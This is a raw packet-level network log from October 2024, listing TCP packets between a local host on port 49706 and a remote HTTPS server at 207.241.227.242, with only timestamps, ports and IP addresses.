Oct 10, 2024 09:29:01.004889965 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004930019 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004935980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.004961014 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.004987001 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.009036064 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.009059906 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.009143114 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.009176016 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.009253979 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.009572029 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.009593964 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.009627104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.009635925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.009660959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.009675980 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.046298981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.046317101 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.046452045 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.046483994 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.046591997 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.391938925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.391968012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392091036 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392122984 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392138004 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392164946 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392350912 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392366886 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392416000 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392421961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392455101 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392508030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392522097 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392563105 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392568111 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392592907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392607927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392826080 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392842054 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392891884 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392896891 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.392931938 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.392946959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.393162012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393176079 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393225908 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.393232107 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393261909 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.393332958 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393347025 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393404961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.393410921 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393441916 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.393760920 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393779039 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393821955 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.393826962 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.393862009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.394064903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.394083023 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.394130945 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.394135952 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.394148111 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.394171000 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.394171000 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.394184113 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.394210100 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.394259930 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395468950 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395488977 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395550013 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395567894 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395606041 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395658970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395673990 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395730019 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395740032 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395740032 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395751953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395776987 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395813942 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395914078 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395929098 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.395976067 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.395983934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396091938 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396111965 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396146059 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396152973 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396162033 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396166086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396178007 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396218061 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396223068 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396245003 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396389961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396416903 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396460056 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396466970 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396495104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396631002 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396651983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396687984 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.396693945 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.396709919 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.397907972 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.397932053 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.397979021 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.397993088 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398005009 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398066044 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398082018 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398121119 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398128986 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398150921 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398399115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398417950 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398454905 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398464918 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398485899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398587942 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398602009 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398643970 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398650885 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398777962 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398885012 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398901939 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398940086 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.398945093 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.398972988 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.399085999 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399099112 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399137974 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.399142981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399168015 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.399425030 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399445057 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399480104 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.399487019 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399518967 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.399743080 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399758101 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399806023 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.399811983 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.399828911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.400576115 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.400598049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.400641918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.400648117 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.400669098 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.400835991 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.400850058 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.400893927 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.400899887 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.400918961 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.401109934 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401129007 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401163101 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.401168108 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401190996 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.401365995 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401379108 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401417017 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.401422977 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401444912 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.401922941 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401942968 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.401977062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.401987076 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.402009964 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.402148008 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.402168036 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.402218103 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.402224064 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.414845943 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.414879084 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.414967060 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.414997101 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.432950974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.432984114 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.433137894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.433173895 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.447710037 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.447743893 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.447834015 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.447854996 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.447983980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.448000908 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.448044062 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.448051929 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.448076010 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.448520899 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.448543072 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.448577881 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.448585987 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.448606968 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.449150085 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.449167967 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.449208021 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.449218035 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.449232101 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.449691057 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.449714899 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.449744940 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.449753046 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.449767113 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.450238943 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.450254917 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.450311899 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.450320005 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.503485918 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.507034063 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.507062912 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.507188082 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.507200956 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.507250071 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.522188902 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.522219896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.522300959 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.522339106 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.522373915 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.536324024 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.536349058 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.536411047 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.536448956 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.536463022 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.536621094 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.536782980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.536803961 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.536848068 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.536854982 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.536881924 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.536897898 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.537281990 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.537306070 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.537360907 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.537370920 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.537410975 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.537947893 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.537974119 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.538006067 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.538019896 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.538044930 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.538060904 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.538424969 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.538453102 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.538490057 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.538497925 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.538526058 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.538546085 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.538990974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.539016008 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.539071083 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.539079905 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.539118052 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.595473051 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.595501900 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.595587969 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.595604897 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.595644951 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.610888004 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.610915899 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.610997915 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.611026049 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.611064911 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.626090050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626116037 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626184940 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626234055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626274109 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.626301050 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626319885 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626327038 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.626336098 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626367092 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.626374006 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626418114 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.626591921 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626611948 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626647949 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.626652956 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.626673937 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.627126932 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.627147913 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.627197027 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.627204895 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.627733946 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.627758980 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.627794027 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.627800941 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.627819061 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.675255060 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.683011055 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.683034897 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.683137894 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.683166981 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.683212996 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.698700905 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.698731899 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.698815107 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.698833942 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.698873997 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.712832928 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.712861061 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.712918997 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.712971926 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.712977886 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.713007927 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.713026047 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.713036060 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714039087 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714061975 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714102983 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714113951 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714140892 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714318037 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714349031 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714391947 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714401960 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714412928 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714495897 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714512110 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714564085 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714571953 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714601040 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714797974 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714821100 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714858055 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.714864016 CEST	443	49706	207.241.227.242	192.168.2.8
Oct 10, 2024 09:29:01.714889050 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.769058943 CEST	49706	443	192.168.2.8	207.241.227.242
Oct 10, 2024 09:29:01.771684885 CEST	443	49706	207.241.227.242	192.168.2.8
